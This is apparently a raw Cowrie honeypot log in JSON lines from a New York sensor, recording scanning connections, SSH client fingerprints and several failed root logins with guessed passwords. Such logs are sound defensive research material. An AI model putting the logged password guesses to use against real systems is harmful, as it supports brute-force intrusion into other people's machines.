{"eventid":"cowrie.session.closed","duration":35.604918479919434,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:27.206903Z","src_ip":"192.119.13.58","session":"e98b3be95c7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.4759681224823,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:28.895242Z","src_ip":"192.119.13.58","session":"612f32f0f516","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.9310564994812,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:30.591022Z","src_ip":"192.119.13.58","session":"66ee2ab297ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.37638473510742,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:35.345594Z","src_ip":"192.119.13.58","session":"57e8461803bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58338,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b70d56fa37c","protocol":"telnet","message":"New connection: 192.119.13.58:58338 (10.17.0.5:23) [session: 8b70d56fa37c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:38.547814Z"}
{"eventid":"cowrie.session.closed","duration":35.174259424209595,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:39.022409Z","src_ip":"192.119.13.58","session":"5684b281f5c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.026652336120605,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:45.429239Z","src_ip":"192.119.13.58","session":"712ca6a1b2d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33106,"dst_ip":"10.17.0.5","dst_port":23,"session":"26b05063a32a","protocol":"telnet","message":"New connection: 192.119.13.58:33106 (10.17.0.5:23) [session: 26b05063a32a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:45.975190Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":50348,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8303d4da2b8","protocol":"ssh","message":"New connection: 176.32.39.21:50348 (159.203.135.109:22) [session: e8303d4da2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:47.439893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:47.445204Z","src_ip":"176.32.39.21","session":"e8303d4da2b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:47.566172Z","src_ip":"176.32.39.21","session":"e8303d4da2b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"feder_1941","message":"login attempt [root/feder_1941] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:47.934560Z","src_ip":"176.32.39.21","session":"e8303d4da2b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":36908,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccc4603c9752","protocol":"ssh","message":"New connection: 38.93.206.2:36908 (10.17.0.5:22) [session: ccc4603c9752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:48.181480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:48.186723Z","src_ip":"38.93.206.2","session":"ccc4603c9752","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:48.276306Z","src_ip":"38.93.206.2","session":"ccc4603c9752","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aeynbr","message":"login attempt [root/aeynbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:48.437886Z","src_ip":"38.93.206.2","session":"ccc4603c9752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:49.069278Z","src_ip":"176.32.39.21","session":"e8303d4da2b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:49.492099Z","src_ip":"38.93.206.2","session":"ccc4603c9752","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57758,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea62e1d2e6b3","protocol":"telnet","message":"New connection: 192.119.13.58:57758 (10.17.0.5:23) [session: ea62e1d2e6b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:52.600883Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":34092,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1054034c6c8","protocol":"ssh","message":"New connection: 103.183.114.55:34092 (10.17.0.5:22) [session: e1054034c6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:55.122038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:55.127126Z","src_ip":"103.183.114.55","session":"e1054034c6c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:55.378624Z","src_ip":"103.183.114.55","session":"e1054034c6c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42916,"dst_ip":"10.17.0.5","dst_port":23,"session":"214e1205d8ab","protocol":"telnet","message":"New connection: 192.119.13.58:42916 (10.17.0.5:23) [session: 214e1205d8ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:56.140687Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"q","message":"login attempt [root/q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:56.153991Z","src_ip":"103.183.114.55","session":"e1054034c6c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:57.381237Z","src_ip":"103.183.114.55","session":"e1054034c6c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46570,"dst_ip":"10.17.0.5","dst_port":23,"session":"a31148df98a5","protocol":"telnet","message":"New connection: 192.119.13.58:46570 (10.17.0.5:23) [session: a31148df98a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:04.115288Z"}
{"eventid":"cowrie.session.closed","duration":43.31642127037048,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:04.340935Z","src_ip":"192.119.13.58","session":"aaa5a57c40d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35402,"dst_ip":"10.17.0.5","dst_port":23,"session":"13d6bdb8d16f","protocol":"telnet","message":"New connection: 192.119.13.58:35402 (10.17.0.5:23) [session: 13d6bdb8d16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:08.695366Z"}
{"eventid":"cowrie.session.closed","duration":34.124210357666016,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:12.671897Z","src_ip":"192.119.13.58","session":"8b70d56fa37c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40220,"dst_ip":"10.17.0.5","dst_port":23,"session":"93a230401a93","protocol":"telnet","message":"New connection: 192.119.13.58:40220 (10.17.0.5:23) [session: 93a230401a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:17.445315Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42952,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a3eb2340442","protocol":"telnet","message":"New connection: 192.119.13.58:42952 (10.17.0.5:23) [session: 9a3eb2340442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:25.428412Z"}
{"eventid":"cowrie.session.closed","duration":35.870110511779785,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:28.470850Z","src_ip":"192.119.13.58","session":"ea62e1d2e6b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59078,"dst_ip":"10.17.0.5","dst_port":23,"session":"47315c31fd79","protocol":"telnet","message":"New connection: 192.119.13.58:59078 (10.17.0.5:23) [session: 47315c31fd79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:29.388669Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45424,"dst_ip":"10.17.0.5","dst_port":23,"session":"f658b3dea15f","protocol":"telnet","message":"New connection: 192.119.13.58:45424 (10.17.0.5:23) [session: f658b3dea15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:33.071444Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58058,"dst_ip":"10.17.0.5","dst_port":23,"session":"3024522ee5f5","protocol":"telnet","message":"New connection: 192.119.13.58:58058 (10.17.0.5:23) [session: 3024522ee5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:36.104825Z"}
{"eventid":"cowrie.session.closed","duration":52.37126684188843,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:38.346319Z","src_ip":"192.119.13.58","session":"26b05063a32a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.12950587272644,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:45.270089Z","src_ip":"192.119.13.58","session":"214e1205d8ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49426,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb13b8951f20","protocol":"telnet","message":"New connection: 192.119.13.58:49426 (10.17.0.5:23) [session: eb13b8951f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:47.958578Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45740,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7258412f05d","protocol":"telnet","message":"New connection: 192.119.13.58:45740 (10.17.0.5:23) [session: a7258412f05d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:48.179353Z"}
{"eventid":"cowrie.session.closed","duration":44.60485219955444,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:48.720019Z","src_ip":"192.119.13.58","session":"a31148df98a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.177253007888794,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:48.872489Z","src_ip":"192.119.13.58","session":"13d6bdb8d16f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45996,"dst_ip":"10.17.0.5","dst_port":23,"session":"05433a91640e","protocol":"telnet","message":"New connection: 192.119.13.58:45996 (10.17.0.5:23) [session: 05433a91640e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:53.911816Z"}
{"eventid":"cowrie.session.closed","duration":0.00941157341003418,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:53.921098Z","src_ip":"192.119.13.58","session":"05433a91640e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.54451513290405,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:08:57.989701Z","src_ip":"192.119.13.58","session":"93a230401a93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47066,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1f718251873","protocol":"telnet","message":"New connection: 192.119.13.58:47066 (10.17.0.5:23) [session: f1f718251873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:01.181768Z"}
{"eventid":"cowrie.session.closed","duration":36.032076835632324,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:05.420637Z","src_ip":"192.119.13.58","session":"47315c31fd79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.42986726760864,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:07.858114Z","src_ip":"192.119.13.58","session":"9a3eb2340442","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41538,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ec02c70c7f8","protocol":"telnet","message":"New connection: 192.119.13.58:41538 (10.17.0.5:23) [session: 7ec02c70c7f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:14.011147Z"}
{"eventid":"cowrie.session.closed","duration":39.72232675552368,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:15.827045Z","src_ip":"192.119.13.58","session":"3024522ee5f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49410,"dst_ip":"10.17.0.5","dst_port":23,"session":"13c9ecda8848","protocol":"telnet","message":"New connection: 192.119.13.58:49410 (10.17.0.5:23) [session: 13c9ecda8848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:16.142890Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48048,"dst_ip":"10.17.0.5","dst_port":23,"session":"889d05c523d5","protocol":"telnet","message":"New connection: 192.119.13.58:48048 (10.17.0.5:23) [session: 889d05c523d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:16.787727Z"}
{"eventid":"cowrie.session.closed","duration":46.43628644943237,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:19.507610Z","src_ip":"192.119.13.58","session":"f658b3dea15f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.832566738128662,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:19.620224Z","src_ip":"192.119.13.58","session":"889d05c523d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.417800426483154,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:24.597035Z","src_ip":"192.119.13.58","session":"a7258412f05d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":54450,"dst_ip":"10.17.0.5","dst_port":22,"session":"3095ef4e5d00","protocol":"ssh","message":"New connection: 103.27.238.120:54450 (10.17.0.5:22) [session: 3095ef4e5d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:24.880334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:24.886963Z","src_ip":"103.27.238.120","session":"3095ef4e5d00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:25.139849Z","src_ip":"103.27.238.120","session":"3095ef4e5d00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dagestan","message":"login attempt [root/dagestan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:25.880390Z","src_ip":"103.27.238.120","session":"3095ef4e5d00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:27.131091Z","src_ip":"103.27.238.120","session":"3095ef4e5d00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.7533164024353,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:27.711770Z","src_ip":"192.119.13.58","session":"eb13b8951f20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":37872,"dst_ip":"10.17.0.5","dst_port":22,"session":"04437066a9ab","protocol":"ssh","message":"New connection: 80.94.92.184:37872 (10.17.0.5:22) [session: 04437066a9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:28.234941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:28.261173Z","src_ip":"80.94.92.184","session":"04437066a9ab","protocol":"ssh"}
